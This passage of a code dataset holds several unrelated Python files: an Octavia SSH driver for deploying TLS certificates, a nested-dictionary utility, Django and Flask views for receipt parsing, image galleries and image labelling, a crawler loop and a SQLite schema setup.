_execute_command(self, command, run_as_root=False):\n if run_as_root and not self._is_root():\n command = \"sudo {0}\".format(command)\n _, stdout, stderr = self.client.exec_command(command)\n stdout = stdout.read()\n stderr = stderr.read()\n LOG.debug('Sent command %s', command)\n LOG.debug('Returned stdout: %s', stdout)\n LOG.debug('Returned stderr: %s', stderr)\n return stdout, stderr\n\n def _connect(self, hostname):\n for attempts in six.moves.xrange(\n self.amp_config.connection_max_retries):\n try:\n self.client.connect(hostname=hostname,\n username=self.amp_config.username,\n key_filename=self.amp_config.key_path)\n except socket.error:\n LOG.warn(_LW(\"Could not ssh to instance\"))\n time.sleep(self.amp_config.connection_retry_interval)\n if attempts >= self.amp_config.connection_max_retries:\n raise exc.TimeOutException()\n else:\n return\n raise exc.UnavailableException()\n\n def _process_tls_certificates(self, listener):\n \"\"\"Processes TLS data from the listener.\n\n Converts and uploads PEM data to the Amphora API\n\n return TLS_CERT and SNI_CERTS\n \"\"\"\n data = []\n\n certs = cert_parser.load_certificates_data(\n self.cert_manager, listener)\n sni_containers = certs['sni_certs']\n tls_cert = certs['tls_cert']\n if certs['tls_cert'] is not None:\n data.append(cert_parser.build_pem(tls_cert))\n if sni_containers:\n for sni_cont in sni_containers:\n data.append(cert_parser.build_pem(sni_cont))\n\n if data:\n cert_dir = os.path.join(self.amp_config.base_cert_dir, listener.id)\n listener_cert = '{0}/{1}.pem'.format(cert_dir, tls_cert.primary_cn)\n self._exec_on_amphorae(\n listener.load_balancer.amphorae, [\n 'chmod 600 {0}/*.pem'.format(cert_dir)],\n make_dir=cert_dir,\n data=data, upload_dir=listener_cert)\n\n return certs\n\n def _exec_on_amphorae(self, amphorae, commands, make_dir=None, data=None,\n upload_dir=None):\n data = data or []\n temps = []\n # Write data to temp file to prepare for upload\n for datum in data:\n temp = tempfile.NamedTemporaryFile(delete=True)\n temp.write(datum.encode('ascii'))\n temp.flush()\n temps.append(temp)\n\n for amp in amphorae:\n if amp.status != constants.DELETED:\n # Connect to amphora\n self._connect(hostname=amp.lb_network_ip)\n\n # Setup for file upload\n if make_dir:\n mkdir_cmd = 'mkdir -p {0}'.format(make_dir)\n self._execute_command(mkdir_cmd, run_as_root=True)\n chown_cmd = 'chown -R {0} {1}'.format(\n self.amp_config.username, make_dir)\n self._execute_command(chown_cmd, run_as_root=True)\n\n # Upload files to location\n if temps:\n sftp = self.client.open_sftp()\n for temp in temps:\n sftp.put(temp.name, upload_dir)\n\n # Execute remaining commands\n for command in commands:\n self._execute_command(command, run_as_root=True)\n self.client.close()\n\n # Close the temp file\n for temp in temps:\n temp.close()\n\n def _is_root(self):\n return cfg.CONF.haproxy_amphora.username == 'root'\n","sub_path":"octavia/amphorae/drivers/haproxy/ssh_driver.py","file_name":"ssh_driver.py","file_ext":"py","file_size_in_byte":12605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"250988982","text":"import collections\nfrom typing import Iterator, Any\n\n\nclass DelimiterSymbolError(Exception):\n \"\"\"Raises when initialized delimiter symbol exists in converted key\"\"\"\n\n\nclass ExtensionNotSupported(Exception):\n \"\"\"Raises on registering not supported file format\"\"\"\n\n\nclass DictInspect:\n def __get__(self, instance, owner):\n return instance.__dict__[self._dict]\n\n def __set__(self, instance, value):\n if not isinstance(value, collections.MutableMapping):\n raise TypeError(f'Should be type of `{collections.MutableMapping.__name__}` not {type(value)}')\n instance.__dict__[self._dict] = value\n\n def __set_name__(self, owner, name):\n self._dict = name\n\n\nclass ADVDict(collections.MutableMapping):\n _DTYPES = (collections.MutableMapping, dict)\n _TYPES = ('nested', 'flattened')\n _NOT_CONVERTED_PRIMITIVES = (int, float, str, bool)\n\n def __init__(self,\n dict_: Dict[str, Any] = None,\n keys_delimiter: str = \":\",\n list_delimiter: str = \"*\"):\n super().__init__()\n # new\n if not dict_:\n dict_ = {}\n\n self._dict = dict_\n\n self._keys_delimiter = keys_delimiter\n self._list_delimiter = list_delimiter\n\n def __setitem__(self, path: [Tuple[str], str], value: Any):\n if isinstance(path, str):\n path = tuple([key for key in path.split(self._keys_delimiter)])\n\n if len(path) == 1:\n self._dict[path[0]] = value\n else:\n if not path[1].startswith(self._list_delimiter):\n try:\n item = self._dict.get(path[0], self.__class__())\n if isinstance(item, dict):\n item = self.__class__(item)\n\n # self._dict.setdefault(path[0], self.__class__())[path[1:]] = value\n item[path[1:]] = value\n self._dict[path[0]] = item\n\n except TypeError:\n self._dict[path[0]] = self.__class__()\n self._dict[path[0]][path[1:]] = value\n else:\n self._list_insert(self._dict.setdefault(path[0], []), path[1:], value)\n\n def __delitem__(self, k: str) -> None:\n if not self.__ispath(k):\n del self._dict[k]\n else:\n path = k.split(self._delimiter)\n d = self.__class__(self._dict[path[0]])\n del d[self._delimiter.join(path[1:])]\n\n def __getitem__(self, path: [Tuple[str], str]) -> Any:\n \"\"\"\n :param path:\n :return:\n \"\"\"\n if len(path) == 1:\n return self._dict[path[0]]\n\n for k, v in self:\n if k == path:\n return v\n\n d = self.__class__()\n for k, v in self:\n value_path = self._contains(path, k)\n if value_path:\n value_path = (\"dummy_key\",) + value_path\n d[value_path] = v\n\n if d.as_dict().get(\"dummy_key\"):\n return d.as_dict().get(\"dummy_key\")\n else:\n raise KeyError(path)\n\n def __len__(self) -> int:\n return len(self.keys())\n\n def __iter__(self, d: Any = None, path: tuple = ()) -> Iterator:\n d = self._dict if d is None else d\n\n if isinstance(d, self._NOT_CONVERTED_PRIMITIVES):\n yield path, d\n elif isinstance(d, collections.MutableMapping):\n for k, v in d.items():\n if v:\n if isinstance(v, self.__class__):\n v = v.as_dict()\n if isinstance(v, self._NOT_CONVERTED_PRIMITIVES):\n yield path + (k,), v\n elif isinstance(v, (collections.MutableMapping, list)):\n yield from self.__iter__(v, path=(path + (k,)))\n else:\n yield path + (k,), v\n elif isinstance(d, list):\n for idx, item in enumerate(d):\n pos = f\"{self._list_delimiter}{idx}\"\n yield from self.__iter__(item, path=path + (pos,))\n\n def __repr__(self) -> str:\n \"\"\"Returns the string representation of the instance.\n :rtype: str\n \"\"\"\n return str(self._dict)\n\n def _list_insert(self, list_: List, path: Tuple[str], value: [_NOT_CONVERTED_PRIMITIVES]):\n pos = int(path[0][1:])\n if len(path) == 1:\n empty_value = []\n if isinstance(value, self._NOT_CONVERTED_PRIMITIVES):\n empty_value = \"\"\n try:\n list_[pos] = value\n except IndexError:\n list_.insert(pos, empty_value)\n return self._list_insert(list_, path, value)\n # list_.insert(pos, value)\n else:\n if path[1].startswith(self._list_delimiter):\n try:\n list_ = list_[pos]\n self._list_insert(list_, path[1:], value)\n except IndexError:\n list_.insert(pos, [])\n return self._list_insert(list_, path, value)\n\n else:\n try:\n dict_ = list_[pos]\n except IndexError:\n list_.insert(pos, self.__class__())\n dict_ = list_[pos]\n if not isinstance(dict_, self.__class__):\n dict_ = self.__class__(dict_)\n dict_[path[1:]] = value\n\n return list_\n\n def items(self) -> Iterator:\n yield from self.__iter__()\n\n def _find(self, k: str, d: Dict[str, Any] = None):\n d = d or self._dict\n if k in d:\n yield d[k]\n for v in d.values():\n if isinstance(v, dict):\n yield from self._find(k, v)\n\n def keys(self):\n \"\"\"Returns all keys from deep nested dicts which are not really keys in the traditional sense of the word, \n but rather paths to values that are not converted and specified in class global `_NOT_CONVERTED_PRIMITIVES`\"\"\"\n return list(self.__get_keys())\n\n def values(self):\n return list(self.__get_values())\n\n def __get_keys(self) -> Iterator[tuple]:\n for k, v in self:\n yield k\n\n def __get_values(self) -> Iterator:\n \"\"\"Returns values\"\"\"\n for k, v in self:\n yield v\n\n def find_path(self, value: Any) -> Iterator[tuple]:\n \"\"\"Path to the given value\"\"\"\n return list(self._find_path(value))\n\n def _find_path(self, value: Any) -> Iterator[tuple]:\n for k, v in self.items():\n if value == v:\n yield k\n\n def find_value(self, key):\n for k, v in self:\n if k[-1] == key:\n return v\n\n def as_dict(self):\n new_d = {}\n for k, v in self._dict.items():\n if isinstance(v, self._NOT_CONVERTED_PRIMITIVES):\n new_d[k] = v\n elif isinstance(v, self.__class__):\n new_d[k] = v.as_dict()\n elif isinstance(v, dict):\n new_d[k] = self.__class__(v).as_dict()\n elif isinstance(v, list):\n new_d[k] = self._convert_list(v)\n else:\n raise ValueError(v)\n return new_d\n\n def _convert_list(self, list_):\n new_list = []\n for item in list_:\n if isinstance(item, self.__class__):\n new_list.append(item.as_dict())\n elif isinstance(item, list):\n new_list.append(self._convert_list(item))\n else:\n new_list.append(item)\n return new_list\n\n def __add__(self, other: [\"ADVDict\", dict]) -> \"ADVDict\":\n if not isinstance(other, self.__class__):\n other = self.__class__(other)\n\n opt = []\n for k, v in self:\n opt.append((k, v))\n\n for k, v in other:\n opt.append((k, v))\n\n new_dict = self.__class__()\n\n for v in opt:\n k, v = v\n new_dict[k] = v\n\n # print(new_dict)\n\n return new_dict\n\n def __sub__(self, other: \"ADVDict\") -> \"ADVDict\":\n new_d = self.__class__()\n\n for k, v in other:\n if k in self and self[k] == v:\n continue\n new_d[k] = v\n\n return new_d\n\n @staticmethod\n def _contains(small, big):\n for i in range(len(big) - len(small) + 1):\n for j in range(len(small)):\n if big[i + j] != small[j]:\n break\n else:\n return big[len(small):]\n return ()\n","sub_path":"src/advdict/advdict.py","file_name":"advdict.py","file_ext":"py","file_size_in_byte":8574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"318002630","text":"from django.shortcuts import render\nfrom rest_framework import generics, views, permissions, authentication\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import TypeProduct, Product, Check\nfrom .serializers import CheckSerializers\nfrom users.models import CustomUser\nimport os\nimport subprocess\nfrom django.contrib.auth.models import User\n\n# Create your views here.\n\n\n\ndef save_photo(photo):\n with open(os.getcwd()+'/product/photo.png', 'wb+') as f:\n for chunk in photo.chunks():\n f.write(chunk)\n\ndef request_abbyy():\n subprocess.call('python product/process.py \"product/photo.png\" product/result.txt -l Russian -txt')\n\ndef parse_lines(line1,line2):\n data = {\n 'type_of_product':'',\n 'name':'',\n 'quantity':'',\n 'price':''\n }\n types_product = TypeProduct.objects.all()\n start=''\n print(line1)\n for product in list(types_product):\n if line1.find(str(product))!=-1:\n print('Тип', str(product))\n data['type_of_product'] = str(product.parent_fk)\n word = str(product)\n start = line1.find(word)\n break\n data['name'] = line1[start:line1.find(' ', start)]\n start = line2.find('*')\n end = line2.find(' ', start)\n data['quantity'] = line2[start+1 : end].replace(' ', '')\n data['price'] = line2[end:len(line2)].strip().replace(' ','.')\n\n return data\n\n\ndef parse_check():\n data = []\n status_search = False\n with open(os.getcwd()+'/product/result.txt', 'r', encoding=\"utf8\") as f:\n lines = f.readlines()\n line_iter = iter(lines)\n for line in line_iter:\n if status_search==True:\n data.append(parse_lines(line, next(line_iter)))\n next(line_iter)\n if line[0] == '1' and status_search==False:\n data.append(parse_lines(line, next(line_iter)))\n next(line_iter)\n status_search = True\n\n return data\n\n\nclass LsitCheck(views.APIView):\n permission_classes = [permissions.AllowAny]\n\n def get(self, request, format=None):\n check = list(Check.objects.all())[0]\n print(check)\n products = []\n for i in Product.objects.all():\n print(i.type_product_fk)\n products.append({\n \"type_of_product\":str(i.type_product_fk),\n \"name\":i.name,\n \"quantity\":i.quantity,\n \"price\":i.price})\n # print(list(checks)[0].product_fk)\n return Response({'data':{\n 'data': products,\n 'date': check.purchase_date,\n 'sum': check.sum_product\n }})\n\nclass ProcessingPhoto(views.APIView):\n # authentication_classes = [authentication.TokenAuthentication]\n permission_classes = [permissions.AllowAny]\n\n def post(self, request, format=None):\n # photo = request.data.get('data')\n # print(request.data)\n # save_photo(photo)\n # request_abbyy()\n data = parse_check()\n return Response({'data': data})\n\n\nclass CheckSaver(views.APIView):\n permission_classes = [permissions.AllowAny]\n \n def post(self, request, format=None):\n data = request.data.get('data')\n products = data['products']\n suma = data['sum']\n date = data['date']\n prod_arr = []\n check = Check()\n check.id = 32\n check.sum_product = suma\n check.user_fk = CustomUser.objects.get(email='admin@a.ru')\n # check.purchase_date = date\n for prod in products:\n pd = Product()\n pd.name = prod['name']\n pd.type_product_fk = TypeProduct.objects.get(type_product=prod['type_of_product'])\n pd.quantity = prod['quantity']\n pd.price = prod['price']\n pd.save()\n prod_arr.append(Product.objects.get(name=prod['name']))\n\n print(prod_arr)\n for i in prod_arr:\n check.product_fk.add(i)\n check.save()\n\n # print(data)\n return Response({'status':'true'})","sub_path":"back/product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"217091461","text":" #-*-coding:utf-8-*-\n\nimport os\nimport time\n\nimport json\nimport requests\nimport pymysql\nimport config\n\nfrom crawler_e100 import crawler_e100,write_db_e100\nfrom crawler_hello import crawler_hello\n\n\ndef print_ts(message):\n print(\"[%s] %s\"%(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()), message))\n \ndef run(interval):\n print_ts(\"-\"*100)\n # print_ts(\"Command %s\"%command)\n print_ts(\"Starting every %s seconds.\"%interval)\n print_ts(\"-\"*100)\n while True:\n # sleep for the remaining seconds of interval\n time_remaining = interval-time.time()%interval\n print_ts(\"Sleeping until %s (%s seconds)...\"%((time.ctime(time.time()+time_remaining)), time_remaining))\n time.sleep(time_remaining)\n # execute the command\n print_ts(\"Starting crawler.\")\n try:\n data = crawler_e100()\n print_ts(\"Number of E100 vehicles: %s\" % (len(data)))\n except:\n print_ts(\"e100 crawler error\")\n try:\n write_db_e100(data)\n except:\n print_ts(\"database error\")\n\n print_ts(\"-\"*100)\n\n\n\nif __name__==\"__main__\":\n conn = pymysql.connect( host=config.host,\n port=3306,\n user=config.user,\n passwd=config.passwd,\n db = config.db,\n charset = 'utf8')\n cursor = conn.cursor()\n \n requests.packages.urllib3.disable_warnings()\n\n interval = 60\n run(interval)\n\n\n","sub_path":"crawler/crawler_script_e100.py","file_name":"crawler_script_e100.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"142347003","text":"import random\nfrom random import shuffle\n\n\nfrom Settings import WORD_LIST_FILEPATH\n\n\nclass TextManager():\n\n \"\"\"\n Responsible for everything to do with the word list, reads from file,\n creates random blurbs, etc.\n \"\"\"\n\n def __init__(self):\n self.words = self.read_in_words(lower=True)\n self.word_count = len(self.words)\n self.blurb_word_limit = 200\n\n\n def read_in_words(self, lower=False):\n \"\"\" Reads in word list from .txt file to enumerated dictionary. \"\"\"\n\n index = 0\n word_dict = {}\n\n with open(WORD_LIST_FILEPATH, 'r') as f:\n for line in f:\n if lower:\n line = line.lower()\n word_dict[index] = line.strip()\n index += 1\n\n return word_dict\n\n\n def create_random_blurb(self):\n \"\"\" Returns random list of words, self.blurb_word_limit in length. \"\"\"\n\n return [self.words[random.randint(0, self.word_count - 1)] for _ in range(self.blurb_word_limit)]\n\n\n def create_w_blurb(self):\n \"\"\" Returns list of 'W', self.blurb_word_limit in length. \"\"\"\n\n return [('W' * random.randint(0, 6)) for _ in range(self.blurb_word_limit)]","sub_path":"TextManager.py","file_name":"TextManager.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"305751930","text":"#!/user/env python3\n# -*- coding: utf-8 -*-\n\nfrom bc4py.config import C, V\nimport sqlite3\nfrom contextlib import closing\nimport re\nimport logging\nimport time\n\n\ndef create_db(path, f_debug=False, f_on_memory=False, f_wal_mode=False):\n assert isinstance(path, str), 'You need initialize by set_database_path() before.'\n conn = sqlite3.connect(path, timeout=120)\n conn.execute(\"PRAGMA cache_size=5000\")\n if f_on_memory:\n conn.isolation_level = None\n conn.execute(\"PRAGMA journal_mode=MEMORY\")\n conn.isolation_level = 'IMMEDIATE'\n elif f_wal_mode:\n conn.isolation_level = None\n conn.execute(\"PRAGMA journal_mode=WAL\")\n conn.isolation_level = 'IMMEDIATE'\n else:\n conn.isolation_level = 'IMMEDIATE'\n\n if f_debug:\n conn.set_trace_callback(sql_info)\n return conn\n\n\ndef sql_info(data):\n # db.set_trace_callback()に最適\n logging.debug(\"SQL: {} {}\".format(round(time.time()-V.BLOCK_GENESIS_TIME, 4), re.sub(r\"\\s+\", \" \", data)))\n\n\ndef make_account_db():\n with closing(create_db(V.DB_ACCOUNT_PATH)) as db:\n db.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS `log` (\n `id` INTEGER PRIMARY KEY,\n `hash` BINARY,\n `index` INTEGER,\n `type` INTEGER NOT NULL,\n `user` INTEGER NOT NULL,\n `coin_id` INTEGER NOT NULL,\n `amount` INTEGER NOT NULL,\n `time` INTEGER NOT NULL\n )\"\"\")\n db.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS `account` (\n `id` INTEGER PRIMARY KEY,\n `name` TEXT UNIQUE NOT NULL,\n `description` TEXT NOT NULL,\n `time` INTEGER NOT NULL\n )\"\"\")\n db.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS `pool` (\n `id` INTEGER PRIMARY KEY,\n `sk` BINARY NOT NULL,\n `pk` BINARY NOT NULL,\n `ck` TEXT NOT NULL,\n `user` INTEGER NOT NULL,\n `time` INTEGER NOT NULL\n )\"\"\")\n # index\n sql = [\n \"CREATE INDEX IF NOT EXISTS 'hash_idx' ON `log` (`hash`,`index`)\",\n \"CREATE INDEX IF NOT EXISTS 'name_idx' ON `account` (`name`)\",\n \"CREATE INDEX IF NOT EXISTS 'ck_idx' ON `pool` (`ck`)\",\n \"CREATE INDEX IF NOT EXISTS 'user_idx' ON `pool` (`user`)\"]\n for sql_ in sql:\n db.execute(sql_)\n # default account\n accounts = [\n (C.ANT_RESERVED, C.ANT_NAME_RESERVED, \"Reserved and update to other accounts.\", 0),\n (C.ANT_UNKNOWN, C.ANT_NAME_UNKNOWN, \"Not user binding address, for change.\", 0),\n (C.ANT_OUTSIDE, C.ANT_NAME_OUTSIDE, \"Address used for movement with outside.\", 0),\n (C.ANT_CONTRACT, C.ANT_NAME_CONTRACT, \"Contract bind address.\", 0)]\n db.executemany(\"INSERT OR IGNORE INTO `account` VALUES (?,?,?,?)\", accounts)\n db.commit()\n","sub_path":"bc4py/database/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"585387449","text":"#coding=gb18030\n\n# Create your views here.\nfrom django.http import HttpResponse\nimport datetime, os, Image, operator\n\n#image_dir = \"C:/Python25/3322/01\"\n#image_dir = \"d:/wedding-pic/small\"\n#thumbnail_dir = \"d:/wedding-pic/small/thumbnail\"\n#big_dir = \"d:/wedding-pic\"\n\nimage_dir = \"/media/disk2/wedding-pic/small\"\nthumbnail_dir = \"/media/disk2/wedding-pic/small/thumbnail\"\nbig_dir = \"/media/disk2/wedding-pic\"\n\nthumbnail_list = []\nall_page_list = []\n\ndef getImageList(s = \"image\"):\n img_list = []\n if s == \"thumbnail\":\n dir = thumbnail_dir\n a = open(os.path.join(thumbnail_dir, \"a.txt\")).readlines()\n for e in a:\n img_list.append(os.path.join(thumbnail_dir, e.strip()))\n \n elif s == \"big\":\n dir = big_dir\n files = os.listdir(dir)\n for file in files:\n path = os.path.join(dir, file)\n if os.path.splitext(path)[1].lower() in (\".jpg\", \".jpeg\", \".png\"):\n img_list.append(path)\n else:\n dir = image_dir\n a = open(os.path.join(image_dir, \"a.txt\")).readlines()\n for e in a:\n img_list.append(os.path.join(image_dir, e.strip()))\n \n #print s, len(img_list)\n return img_list\n\ndef image_view(request, page = '01'):\n \"\"\"\n thumbnail view\n \"\"\"\n global thumbnail_list \n c = 3\n r = 3\n \n html = \"\\n\"\n \n if len(thumbnail_list) == 0:\n thumbnail_list = getImageList(\"thumbnail\")\n img_list = thumbnail_list \n else:\n img_list = thumbnail_list\n \n try:\n page = int(page)\n page = page - 1\n except:\n return HttpResponse(\"No this page\")\n \n i = c*r*page \n p = len(img_list)/(c*r)\n\n html = html + '
'\n for j in range(p):\n if j == page:\n html = html + ' [%02d] ' % (j + 1)\n else:\n html = html + ' [%02d] ' % (j + 1) + ''\n html = html + '''
\\n'''\n\n while i < len(img_list) and i < c*r *(page+1):\n html = html + '''\n '''\n for j in range(c):\n if i < len(img_list):\n html = html + \"\"\n i = i + 1\n html = html + '''\n
\"\n html = html + ''\n html = html + \"

'\n #html = html + 'big ' + str(i+1) + '.jpg'\n html = html + \"

\\n'''\n\n if operator.mod(len(img_list), c*r) != 0:\n p += 1\n \n html = html + '
'\n for j in range(p):\n if j == page:\n html = html + ' [%02d] ' % (j + 1)\n else:\n html = html + ' [%02d] ' % (j + 1) + ''\n html = html + '''
\\n'''\n \n html = html + \"\"\n #print html\n return HttpResponse(html)\n\ndef image_all_view(request, page = '01'):\n try:\n page = int(page)\n except:\n return HttpResponse(\"No this page\")\n \n global all_page_list\n \n if len(all_page_list) == 0:\n all_page_list = getImageList(\"image\")\n img_list = all_page_list \n else:\n img_list = all_page_list\n \n c = 4\n \n html = \"\\n\"\n \n p = len(img_list)/c\n if operator.mod(len(img_list), c) != 0:\n p += 1\n \n html = html + '
'\n for j in range(p):\n if (j + 1) == page:\n html = html + ' [%02d] ' % (j + 1)\n else:\n html = html + ' [%02d] ' % (j + 1) + ''\n html = html + '''
\\n'''\n\n i = c*(page-1)\n \n while i < len(img_list) and i < c*(page):\n html = html + '''\n '''\n html = html + \"\"\n html = html + '''\n
\"\n html = html + ''\n html = html + \"' \n html = html + \"
\\n'''\n i += 1\n\n html = html + '
'\n for j in range(p):\n if (j + 1) == page:\n html = html + ' [%02d] ' % (j + 1)\n else:\n html = html + ' [%02d] ' % (j + 1) + ''\n html = html + '''
\\n'''\n \n html = html + \"\"\n #print html\n return HttpResponse(html)\n\ndef image(request, image):\n \n global all_page_list\n if len(all_page_list) == 0:\n img_list = getImageList(\"image\")\n all_page_list = img_list\n else:\n img_list = all_page_list\n\n image = int(image)\n if (image - 1) < len(img_list) and (image - 1) >= 0:\n image_data = open(img_list[image - 1], \"rb\").read()\n \n return HttpResponse(image_data, mimetype=\"image/png\")\n else:\n return HttpResponse(\"\")\n \ndef thumbnail(request, image):\n global thumbnail_list\n image = int(image)\n #img_list = getImageList(\"thumbnail\")\n if len(thumbnail_list) == 0:\n thumbnail_list = getImageList(\"thumbnail\")\n img_list = thumbnail_list \n else:\n img_list = thumbnail_list\n\n if (image - 1) < len(img_list) and (image - 1) >= 0:\n image_data = open(img_list[image - 1], \"rb\").read()\n \n return HttpResponse(image_data, mimetype=\"image/png\")\n else:\n return HttpResponse(\"\")\n\ndef bigImage(request, image):\n image = int(image)\n img_list = getImageList(\"big\")\n if (image - 1) < len(img_list) and (image - 1) >= 0:\n image_data = open(img_list[image - 1], \"rb\").read()\n \n return HttpResponse(image_data, mimetype=\"image/jpeg\")\n else:\n return HttpResponse(\"\")\n","sub_path":"site/mysite/image/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"9443324","text":"from flask import (Flask, render_template, redirect,\n url_for, request, make_response)\nfrom file_management import getImagesLabellingList, writeNewRow\nfrom options import GROUP_1\nfrom options_race import RACE_Dict\nfrom options_att import ATTRACTIVENESS_dict\nimport time\nimport outfit_management as om\nimport outfit_management_race as omr\nimport outfit_management_att as oma\nimport random\napp = Flask(__name__)\n\ngroup_1_count = 0\nrace_count = 0\nattractiveness_count = 0\n#image folder path\nGroup_1PATH = 'static/Pics/' \n\n\nimageList = list()\n\n@app.route('/')\ndef index():\n return render_template('home.html')\n@app.route('/complete')\ndef complete():\n random_number = random.randint(10000000, 99999999)\n return render_template('complete.html',random_number=random_number)\n\n@app.route('/save_Group_1', methods=['POST'])\ndef save_Group_1():\n global group_1_count\n group_1_count += 48\n if group_1_count==len(imageList):\n group_1_count=0\n response = make_response(redirect(url_for('complete')))\n return response\n response = make_response(redirect(url_for('group_1')))\n #Saves labels to CSV file\n labelledDict = dict(request.form.items()) #request the POST-ed info\n print(labelledDict)\n om.writeNewRow(dict(request.form.items()), 'Group_1')\n return response\n\n@app.route('/save_RACE', methods=['POST'])\ndef save_RACE():\n global race_count\n race_count += 48\n if race_count==len(imageList):\n race_count=0\n response = make_response(redirect(url_for('complete')))\n return response\n response = make_response(redirect(url_for('RACE')))\n #Saves labels to CSV file\n labelledDict = dict(request.form.items()) #request the POST-ed info\n print(labelledDict)\n omr.writeNewRow(dict(request.form.items()), 'Race')\n \n return response\n\n@app.route('/save_ATTRACTIVENESS', methods=['POST'])\ndef save_ATTRACTIVENESS():\n global attractiveness_count\n attractiveness_count += 48\n if attractiveness_count==len(imageList):\n attractiveness_count=0\n response = make_response(redirect(url_for('complete')))\n return response\n response = make_response(redirect(url_for('ATTRACTIVENESS')))\n #Saves labels to CSV file\n labelledDict = dict(request.form.items()) #request the POST-ed info\n print(labelledDict)\n oma.writeNewRow(dict(request.form.items()), 'Attractiveness')\n \n return response\n#TODO: Write new images into top.csv bottom.csv and shoes.csv as well\n\n\n@app.route('/RACE')\ndef RACE():\n global imageList\n if len(imageList) == 0:\n imageList = om.getImagesLabellingList()\n else:\n print(\"Images Left:\", len(imageList)-race_count)\n\n return render_template('race.html',\n imageDict=imageList[race_count],\n imageDict2=imageList[race_count+1],\n imageDict3=imageList[race_count+2],\n imageDict4=imageList[race_count+3],\n imageDict5=imageList[race_count+4],\n imageDict6=imageList[race_count+5],\n imageDict7=imageList[race_count+6],\n imageDict8=imageList[race_count+7],\n imageDict9=imageList[race_count+8],\n imageDict10=imageList[race_count+9],\n imageDict11=imageList[race_count+10],\n imageDict12=imageList[race_count+11],\n imageDict13=imageList[race_count+12],\n imageDict14=imageList[race_count+13],\n imageDict15=imageList[race_count+14],\n imageDict16=imageList[race_count+15],\n imageDict17=imageList[race_count+16],\n imageDict18=imageList[race_count+17],\n imageDict19=imageList[race_count+18],\n imageDict20=imageList[race_count+19],\n imageDict21=imageList[race_count+20],\n imageDict22=imageList[race_count+21],\n imageDict23=imageList[race_count+22],\n imageDict24=imageList[race_count+23],\n imageDict25=imageList[race_count+24],\n imageDict26=imageList[race_count+25],\n imageDict27=imageList[race_count+26],\n imageDict28=imageList[race_count+27],\n imageDict29=imageList[race_count+28],\n imageDict30=imageList[race_count+29],\n imageDict31=imageList[race_count+30],\n imageDict32=imageList[race_count+31],\n imageDict33=imageList[race_count+32],\n imageDict34=imageList[race_count+33],\n imageDict35=imageList[race_count+34],\n imageDict36=imageList[race_count+35],\n imageDict37=imageList[race_count+36],\n imageDict38=imageList[race_count+37],\n imageDict39=imageList[race_count+38],\n imageDict40=imageList[race_count+39],\n imageDict41=imageList[race_count+40],\n imageDict42=imageList[race_count+41],\n imageDict43=imageList[race_count+42],\n imageDict44=imageList[race_count+43],\n imageDict45=imageList[race_count+44],\n imageDict46=imageList[race_count+45],\n imageDict47=imageList[race_count+46],\n imageDict48=imageList[race_count+47],\n options=RACE_Dict)\n\n@app.route('/ATTRACTIVENESS')\ndef ATTRACTIVENESS():\n global imageList\n if len(imageList) == 0:\n imageList = om.getImagesLabellingList()\n else:\n print(\"Images Left:\", len(imageList)-attractiveness_count)\n\n return render_template('attractiveness.html',\n imageDict=imageList[attractiveness_count],\n imageDict2=imageList[attractiveness_count+1],\n imageDict3=imageList[attractiveness_count+2],\n imageDict4=imageList[attractiveness_count+3],\n imageDict5=imageList[attractiveness_count+4],\n imageDict6=imageList[attractiveness_count+5],\n imageDict7=imageList[attractiveness_count+6],\n imageDict8=imageList[attractiveness_count+7],\n imageDict9=imageList[attractiveness_count+8],\n imageDict10=imageList[attractiveness_count+9],\n imageDict11=imageList[attractiveness_count+10],\n imageDict12=imageList[attractiveness_count+11],\n imageDict13=imageList[attractiveness_count+12],\n imageDict14=imageList[attractiveness_count+13],\n imageDict15=imageList[attractiveness_count+14],\n imageDict16=imageList[attractiveness_count+15],\n imageDict17=imageList[attractiveness_count+16],\n imageDict18=imageList[attractiveness_count+17],\n imageDict19=imageList[attractiveness_count+18],\n imageDict20=imageList[attractiveness_count+19],\n imageDict21=imageList[attractiveness_count+20],\n imageDict22=imageList[attractiveness_count+21],\n imageDict23=imageList[attractiveness_count+22],\n imageDict24=imageList[attractiveness_count+23],\n imageDict25=imageList[attractiveness_count+24],\n imageDict26=imageList[attractiveness_count+25],\n imageDict27=imageList[attractiveness_count+26],\n imageDict28=imageList[attractiveness_count+27],\n imageDict29=imageList[attractiveness_count+28],\n imageDict30=imageList[attractiveness_count+29],\n imageDict31=imageList[attractiveness_count+30],\n imageDict32=imageList[attractiveness_count+31],\n imageDict33=imageList[attractiveness_count+32],\n imageDict34=imageList[attractiveness_count+33],\n imageDict35=imageList[attractiveness_count+34],\n imageDict36=imageList[attractiveness_count+35],\n imageDict37=imageList[attractiveness_count+36],\n imageDict38=imageList[attractiveness_count+37],\n imageDict39=imageList[attractiveness_count+38],\n imageDict40=imageList[attractiveness_count+39],\n imageDict41=imageList[attractiveness_count+40],\n imageDict42=imageList[attractiveness_count+41],\n imageDict43=imageList[attractiveness_count+42],\n imageDict44=imageList[attractiveness_count+43],\n imageDict45=imageList[attractiveness_count+44],\n imageDict46=imageList[attractiveness_count+45],\n imageDict47=imageList[attractiveness_count+46],\n imageDict48=imageList[attractiveness_count+47],\n options=ATTRACTIVENESS_dict)\n\n@app.route('/group_1')\ndef group_1():\n global imageList\n if len(imageList) == 0:\n imageList = om.getImagesLabellingList()\n else:\n print(\"Images Left:\", len(imageList)-group_1_count)\n\n return render_template('group_1.html',\n 